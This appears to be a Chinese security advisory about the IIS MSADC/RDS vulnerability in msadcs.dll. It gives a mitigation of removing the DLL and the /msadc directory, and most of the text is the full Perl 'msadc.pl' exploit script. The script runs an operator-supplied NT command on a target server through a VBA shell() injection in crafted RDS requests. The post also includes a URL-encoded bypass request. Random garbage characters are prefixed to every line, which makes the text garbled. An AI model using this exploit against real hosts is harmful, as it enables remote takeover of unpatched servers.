IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K@@[N17/8 +dSO?Y] 涉及程序:
Xkb\fR6<K Microsoft NT server
w97%5[-T 2~*.X^dR 描述:
S_56! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_0e;&2') w+3-j 详细:
v|u[BmA)*k 如果你没有时间读详细内容的话,就删除:
m&8'O\$ c:\Program Files\Common Files\System\Msadc\msadcs.dll
^NiS7 )FX 有关的安全问题就没有了。
niJtgK:H^ Tf?|*P 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
3It9|Y"6[ 'e06QMp@ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
C.;H?So( 关于利用ODBC远程漏洞的描述,请参看:
p{4nWeH?B p!3!&{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Vq<\ixRi ?Q%X,!~\: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
0T7""^'& http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1|Z!8:&pj .:=G=v=1 这里不再论述。
-mK;f$X EG[Rda 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
|.Y}2>{ "_
i: /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)> |x 2q 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
jUCrj' u'+;/8 6#/v:;bF #将下面这段保存为txt文件,然后: "perl -x 文件名"
f+Ht E;AOCbV*$ #!perl
JQ)w/@Vu= #
xF8^#J6> # MSADC/RDS 'usage' (aka exploit) script
0'0GAh2 #
I7q}<"` # by rain.forest.puppy
tjTnFP/= #
pw5uH # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%ryYa # beta test and find errors!
YRm6~c E1-BB use Socket; use Getopt::Std;
m3i+b getopts("e:vd:h:XR", \%args);
7$u}uv`j i917d@r( < print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zBTyRL
l I[v6Y^{q if (!defined $args{h} && !defined $args{R}) {
%^CoWbU print qq~
-'mTSJ.} Usage: msadc.pl -h <host> { -d <delay> -X -v }
I8:A] -h <host> = host you want to scan (ip or domain)
ruQ1Cph -d <seconds> = delay between calls, default 1 second
RO+N>Wkt -X = dump Index Server path table, if available
~y.t amNW -v = verbose
eQqx0+-0c -e = external dictionary file for step 5
TcM;6h` zLda+ Or a -R will resume a command session
+ =N#6#1 "MNI_C#{ ~; exit;}
<@z!kl HXp$\%A) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
txp^3dZ`^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&3_.k if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Y ZyV if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-\V!f6Q $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,`O.0e4pn if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
QpZCU] dF<GuS;l5 if (!defined $args{R}){ $ret = &has_msadc;
6./3w&D; die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
qzt.k^'-^
K r DG print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#%$U-ti . "cmd /c ";
EAPjQA-B? $in=<STDIN>; chomp $in;
n3Q Rn^ $command="cmd /c " . $in ;
LW '3m5 1ms(03dp if (defined $args{R}) {&load; exit;}
VW/ICX~"d &K.js print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
oDBv5 &try_btcustmr;
+zf[Im%E GLE/ 1 print "\nStep 2: Trying to make our own DSN...";
\]=''C=J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Z& W*@(dX p.|NZXk%%a print "\nStep 3: Trying known DSNs...";
V>Vu)7 &known_dsn;
f5ttQ&@FF C_ 4(-OWq print "\nStep 4: Trying known .mdbs...";
JULns#tx} &known_mdb;
{\62c;. ZGZ1Q/WH if (defined $args{e}){
o/~Rf1 print "\nStep 5: Trying dictionary of DSN names...";
3yw`%$d5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
t#BQB<GI UHT2a9rG print "Sorry Charley...maybe next time?\n";
O=E?m=FR" exit;
,z0~VS:g 8 'YTSakNJ} ##############################################################################
1@W*fVn ZD;1{ sub sendraw { # ripped and modded from whisker
x@*!MC# sleep($delay); # it's a DoS on the server! At least on mine...
?)V?6"fFP my ($pstr)=@_;
;xxu , socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D(&XmC[\Y die("Socket problems\n");
rctGa ,l if(connect(S,pack "SnA4x8",2,80,$target)){
:.bBV]6q select(S); $|=1;
tR`^c8gD print $pstr; my @in=<S>;
F9PXQD( select(STDOUT); close(S);
.:/[%q{k return @in;
dlJc~| } else { die("Can't connect...\n"); }}
P4{!/&/ )N'rYS'9 ##############################################################################
sRKoM e[l#r>NT sub make_header { # make the HTTP request
(R|Ftjs . my $msadc=<<EOT
MlH0 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
1 ` ={** User-Agent: ACTIVEDATA
VteMsL/H Host: $ip
RoYwZX~ Content-Length: $clen
rMEM$1vPU Connection: Keep-Alive
@b{I0+li"/ uP NZ^lM ADCClientVersion:01.06
# ;3v4P Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ki=]#]rg *1`q
x+1 --!ADM!ROX!YOUR!WORLD!
F*TkQ\y Content-Type: application/x-varg
k!)Pl,nJ Content-Length: $reqlen
w)7 s]Ld 9[,+4&wX7 EOT
|$+
xVi8 ; $msadc=~s/\n/\r\n/g;
1}ER+;If return $msadc;}
PDNbhUAV 4RyQ^vL ##############################################################################
,LftQ1*;
YG K7b6
sub make_req { # make the RDS request
WinwPn+9 my ($switch, $p1, $p2)=@_;
?w5>Z/V my $req=""; my $t1, $t2, $query, $dsn;
(t_%8Eu B6J< if ($switch==1){ # this is the btcustmr.mdb query
>& `;@ZOH $query="Select * from Customers where City=" . make_shell();
;5!M+nk $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
U#>K( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'Hv=\p4$1 teX)!N [ elsif ($switch==2){ # this is general make table query
/w
"h'u $query="create table AZZ (B int, C varchar(10))";
b;jr;I $dsn="$p1";}
hywy(b3 )PCh;P0C elsif ($switch==3){ # this is general exploit table query
}=$>w@mJ $query="select * from AZZ where C=" . make_shell();
WlW7b.2. $dsn="$p1";}
Hkzx(yTi '1vm]+oM elsif ($switch==4){ # attempt to hork file info from index server
Q|7l!YTzVu $query="select path from scope()";
< VrHWJo $dsn="Provider=MSIDXS;";}
J>N^ FR9 &3CC | elsif ($switch==5){ # bad query
|{V@t1` $query="select";
7&w$@zs87 $dsn="$p1";}
/5N`Euw p,K!'\ $t1= make_unicode($query);
JDP /vNq $t2= make_unicode($dsn);
(,^jgv|I $req = "\x02\x00\x03\x00";
T0v{qQ $req.= "\x08\x00" . pack ("S1", length($t1));
G7SmlFn? $req.= "\x00\x00" . $t1 ;
QA=mD^A $req.= "\x08\x00" . pack ("S1", length($t2));
Q/]t$ $req.= "\x00\x00" . $t2 ;
MHPh! $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
hp3
<HUU return $req;}
Aq;WQyZ2 'y%*W:O ##############################################################################
jeWI<ms 5fY7[{2 sub make_shell { # this makes the shell() statement
Ng|c13A= return "'|shell(\"$command\")|'";}
'LMMo4o3 nh*hw[Ord ##############################################################################
)SzgMbF6 ,~*pPhQ8m sub make_unicode { # quick little function to convert to unicode
'bn$"A"{o my ($in)=@_; my $out;
A Qm!7, for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
'n/L1Fn return $out;}
D]'/5]~z< ]US ##############################################################################
pE381Cw ?.Lq`~T` sub rdo_success { # checks for RDO return success (this is kludge)
}s@vN8C my (@in) = @_; my $base=content_start(@in);
A;Av0@w if($in[$base]=~/multipart\/mixed/){
#u/5
nm return 1 if( $in[$base+10]=~/^\x09\x00/ );}
s`I]>e return 0;}
Btyp=wfN[ t7 +U! ##############################################################################
H6Q!~o\"H K+3+?oYKH sub make_dsn { # this makes a DSN for us
}e]tn) my @drives=("c","d","e","f");
|32uC3?o print "\nMaking DSN: ";
2g
HRfTF foreach $drive (@drives) {
YckLz01jh print "$drive: ";
)R6-]TkA_ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
$0&<Jx "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
xz3|m
_) . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
H: ]'r5sw $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
fb?YDM return 0 if $2 eq "404"; # not found/doesn't exist
>)6k)$x%% if($2 eq "200") {
su0q 2. foreach $line (@results) {
JmF:8Q3H return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]/[$3rPwZ } return 0;}
wo5fGQJ *('Vyd!n ##############################################################################
P2g}G4qf CZDWEM} sub verify_exists {
b^R_8x my ($page)=@_;
=4#p|OZP my @results=sendraw("GET $page HTTP/1.0\n\n");
l5FKw;=K}: return $results[0];}
IiM=Z=2 3XcFBFE ##############################################################################
O&evv8 6L {4>N2mP{M sub try_btcustmr {
COH9E\ZGF my @drives=("c","d","e","f");
o?/fObV@( my @dirs=("winnt","winnt35","winnt351","win","windows");
zbAyYMtEk
"R^0eNv$ foreach $dir (@dirs) {
v,Uu)Z
print "$dir -> "; # fun status so you can see progress
UTVqoCHA foreach $drive (@drives) {
UO4z~ print "$drive: "; # ditto
#k|f%!-Vo $reqlen=length( make_req(1,$drive,$dir) ) - 28;
irF+(&q]jh $reqlenlen=length( "$reqlen" );
FZ5
Ad&".@ $clen= 206 + $reqlenlen + $reqlen;
Jvr`9<` O"9Or3w my @results=sendraw(make_header() . make_req(1,$drive,$dir));
5
51p*
B2 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Y*0j/91 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6kHuKxY, hxkwT ##############################################################################
( 9(NP_s
:X 9_~ sub odbc_error {
md;jj^8zj my (@in)=@_; my $base;
Bk@&k}0 my $base = content_start(@in);
Np@RK1} if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]ASTw(4 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?U3~rro! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WZN0`Od $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<lP5}F87 return $in[$base+4].$in[$base+5].$in[$base+6];}
>!PCEw<i print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
p%-;hL! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
wUKt$_]`` $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;8g[y"I 2#X>^LH ##############################################################################
D2'J( U*\1d sub verbose {
Zp+orc7 my ($in)=@_;
Cuc+9 return if !$verbose;
}BAe
print STDOUT "\n$in\n";}
C4K"eX,K V-ONC ##############################################################################
$GQ{Ai:VwF />O.U? sub save {
i QvqifDmh my ($p1, $p2, $p3, $p4)=@_;
M3s:B& / open(OUT, ">rds.save") || print "Problem saving parameters...\n";
,U.|+i{ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
<~
?LU^ close OUT;}
4F,RlKHBl ^%NjdZu DO ##############################################################################
[<.dOe7| 8gJg7RxL sub load {
z-m:l; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<;hy-Q()D open(IN,"<rds.save") || die("Couldn't open rds.save\n");
}*c[}VLN @p=<IN>; close(IN);
ne# %Gr $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+HEL ^ $target= inet_aton($ip) || die("inet_aton problems");
,'byJlw_pv print "Resuming to $ip ...";
zcOG[- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ntn ~=oL if($p[1]==1) {
nG7E j#1 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<x1,4a~ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#YK=e&da my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Rts.jm>[ if (rdo_success(@results)){print "Success!\n";}
p~z\&&0U0 else { print "failed\n"; verbose(odbc_error(@results));}}
GRAPv|u9[ elsif ($p[1]==3){
-#
/'^O+% if(run_query("$p[3]")){
: 2A\X' @ print "Success!\n";} else { print "failed\n"; }}
~vKDB$2 elsif ($p[1]==4){
/;WFRp. if(run_query($drvst . "$p[3]")){
;-VXp80J print "Success!\n"; } else { print "failed\n"; }}
H(DI /"N exit;}
gH/(4h <*z9:jzQ ##############################################################################
e7n`fEpO bdj')%@n sub create_table {
* & : J my ($in)=@_;
W.>}5uVl6 $reqlen=length( make_req(2,$in,"") ) - 28;
Vo9FlYj $reqlenlen=length( "$reqlen" );
8*EqG5OP $clen= 206 + $reqlenlen + $reqlen;
oiItQ4{< my @results=sendraw(make_header() . make_req(2,$in,""));
9^@#Ua return 1 if rdo_success(@results);
8xx2+ my $temp= odbc_error(@results); verbose($temp);
p{;FO? return 1 if $temp=~/Table 'AZZ' already exists/;
?|{tWR,Vb return 0;}
T1uOp5_]B LT:8/&\ ##############################################################################
Fr hI[D 86W.z6 sub known_dsn {
A>rN.XW # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
3-_`x9u* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
@!B%ynrG "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
h%] D[g "banner", "banners", "ads", "ADCDemo", "ADCTest");
BrsBB"<o,
g3c,x kaO foreach $dSn (@dsns) {
Z@bKYfGM print ".";
)|
F O> next if (!is_access("DSN=$dSn"));
A[H"(E#k if(create_table("DSN=$dSn")){
@VnK/5opS print "$dSn successful\n";
rhC
x&L if(run_query("DSN=$dSn")){
2[1lwV print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
35Fs/Gf-n print "Something's borked. Use verbose next time\n";}}} print "\n";}
>+Y@rj2 RC^k#+ ##############################################################################
yK w.69. vgN%vw pL sub is_access {
\1oN't. my ($in)=@_;
O[ug7\cl+ $reqlen=length( make_req(5,$in,"") ) - 28;
mBDzc(_\$' $reqlenlen=length( "$reqlen" );
s$xm $clen= 206 + $reqlenlen + $reqlen;
Ex5LhRe>= my @results=sendraw(make_header() . make_req(5,$in,""));
CzI/Z+\ my $temp= odbc_error(@results);
1(qL),F; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ap[Q'=A` return 0;}
>Dq&[9,8 JxQGL{)
> ##############################################################################
gZ6tbp,X zRgl`zREr sub run_query {
N2&h yM my ($in)=@_;
K5 Z'kkOk $reqlen=length( make_req(3,$in,"") ) - 28;
AX6l=jFZx $reqlenlen=length( "$reqlen" );
BCt>P?,UO $clen= 206 + $reqlenlen + $reqlen;
[q~3$mjQ my @results=sendraw(make_header() . make_req(3,$in,""));
_aw49ag; return 1 if rdo_success(@results);
oI x!?,1 my $temp= odbc_error(@results); verbose($temp);
]>,Lw=_[_ return 0;}
,Ofou8C6 !$#8Z".{v{ ##############################################################################
P.kf|,8L `FAZAC\ sub known_mdb {
y>&
s; my @drives=("c","d","e","f","g");
]Mj N)%hT my @dirs=("winnt","winnt35","winnt351","win","windows");
URMxCL^" my $dir, $drive, $mdb;
*P+8^t#Vp my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
te&p1F ?e[]UO # this is sparse, because I don't know of many
J:0`*7 my @sysmdbs=( "\\catroot\\icatalog.mdb",
J+YoAf`hi "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
D3x
W?$Z "\\system32\\certmdb.mdb",
rXVRX#Lh "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
-!X\xA/KN Ee'wsL my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
iM"L%6*I^ "\\cfusion\\cfapps\\forums\\forums_.mdb",
W=2#Q2) "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
<4%PT2R "\\cfusion\\cfapps\\security\\realm_.mdb",
goc"+K "\\cfusion\\cfapps\\security\\data\\realm.mdb",
NQ,2pM<*- "\\cfusion\\database\\cfexamples.mdb",
9C| -|mo "\\cfusion\\database\\cfsnippets.mdb",
nOK1Wc%/' "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
^o Q^/v~ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
RT"JAJTi/ "\\cfusion\\brighttiger\\database\\cleam.mdb",
$#FA/+<&$ "\\cfusion\\database\\smpolicy.mdb",
Cd7l+~*Y "\\cfusion\\database\cypress.mdb",
1_z~<d
@?; "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
V0y_c^x "\\website\\cgi-win\\dbsample.mdb",
x_#'6H\1ga "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
0yL%Pjn6 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
#w;%{C[D ); #these are just
fU'[lZ foreach $drive (@drives) {
B)s%B' foreach $dir (@dirs){
:{~TG]4M foreach $mdb (@sysmdbs) {
'V}4_3#q print ".";
tFX!s;N[ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
j_}f6d/h print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
7?2<W-n if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
lfte print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
_tfi6UQ&lY } else { print "Something's borked. Use verbose next time\n"; }}}}}
8v\^,'@ /qweozW_+ foreach $drive (@drives) {
^'$P[ foreach $mdb (@mdbs) {
,zh4oX`> print ".";
3|0OW
Jk if(create_table($drv . $drive . $dir . $mdb)){
}N@+bNh~ print "\n" . $drive . $dir . $mdb . " successful\n";
8C<%Y7)/ if(run_query($drv . $drive . $dir . $mdb)){
<Y ^)/ s print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-\M;bQV[C } else { print "Something's borked. Use verbose next time\n"; }}}}
idNg&' }
Ui}%T] R9InUX"k ##############################################################################
hvF>Tu]^r dA$qzQ sub hork_idx {
cB}6{c$_sW print "\nAttempting to dump Index Server tables...\n";
H`NT`BE print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Vn6]h|vm $reqlen=length( make_req(4,"","") ) - 28;
!p(N
DQm $reqlenlen=length( "$reqlen" );
Ky)*6QOw $clen= 206 + $reqlenlen + $reqlen;
^zR*s |1Q my @results=sendraw2(make_header() . make_req(4,"",""));
{Zf 9}
!qF if (rdo_success(@results)){
_yc&'Wq my $max=@results; my $c; my %d;
?9;r|G for($c=19; $c<$max; $c++){
2E0$R%\ $results[$c]=~s/\x00//g;
Hs(U|BXU $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
DQ= /Jr~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Z1oUAzpj4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
+D|E8sz8 $d{"$1$2"}="";}
-h{| u{t foreach $c (keys %d){ print "$c\n"; }
>:f&@vwm } else {print "Index server doesn't seem to be installed.\n"; }}
n<Z1i) {'[S.r` ##############################################################################
fk(h*L|sI YFs!,fw' sub dsn_dict {
{S5j; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
WS1#i\0 while(<IN>){
.a
`ojT $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
O
718s\# next if (!is_access("DSN=$dSn"));
z460a[Wl if(create_table("DSN=$dSn")){
Mtq^6`JJ' print "$dSn successful\n";
2Z*^)ZQB if(run_query("DSN=$dSn")){
a
VIh|v print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6>F]Z)]} print "Something's borked. Use verbose next time\n";}}}
<CGJ:% AY print "\n"; close(IN);}
N3?hu} #~6au6LMC ##############################################################################
7/6%92T/B nSB@xP#& sub sendraw2 { # ripped and modded from whisker
JI|MR#_u sleep($delay); # it's a DoS on the server! At least on mine...
td(4Fw||1y my ($pstr)=@_;
]BY<D`$$P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
MLt'tzgl die("Socket problems\n");
n{xL1A=9 if(connect(S,pack "SnA4x8",2,80,$target)){
;7N~d TBQ print "Connected. Getting data";
"$PX[: open(OUT,">raw.out"); my @in;
%lS jC%Z'd select(S); $|=1; print $pstr;
Un\
T}
c while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
|M(0CYO close(OUT); select(STDOUT); close(S); return @in;
zfm#yDf } else { die("Can't connect...\n"); }}
Oq*=oz^~1 )cYbE1=u8> ##############################################################################
2G)q?_Q4S 3}2a3) sub content_start { # this will take in the server headers
%q_b\K my (@in)=@_; my $c;
qp55U* for ($c=1;$c<500;$c++) {
(sx,Ol if($in[$c] =~/^\x0d\x0a/){
El|Y]f if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]?(_}""1 else { return $c+1; }}}
HHg[6aw return -1;} # it should never get here actually
?7R&=B1g eTZ2f ##############################################################################
{Zrf>ST Gw?$.@L'I6 sub funky {
e\'=#Hw my (@in)=@_; my $error=odbc_error(@in);
^/7L(
if($error=~/ADO could not find the specified provider/){
)G@/E^ySM print "\nServer returned an ADO miscofiguration message\nAborting.\n";
70yM]C^ exit;}
|RZI]H% if($error=~/A Handler is required/){
zOA2chy4 print "\nServer has custom handler filters (they most likely are patched)\n";
d^^EfWU exit;}
Z'o'd_g>I+ if($error=~/specified Handler has denied Access/){
L~e{Vv8UR print "\nServer has custom handler filters (they most likely are patched)\n";
]$i~;f 8I exit;}}
=Bb/Y`Q XcM.<Dn3 ##############################################################################
C^nTLw;K +l(lpp>, sub has_msadc {
Y@Ti2bI`v my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
B%/N{i*Z my $base=content_start(@results);
@&GfCg5Cb return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
*#Hw6N0# return 0;}
zoHFTD4 g t B Kra ########################
U$^ $7g 3 tzdh3\6F >PoVK{&y 解决方案:
qfsu# R 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
RzN9pAe 2、移除web 目录: /msadc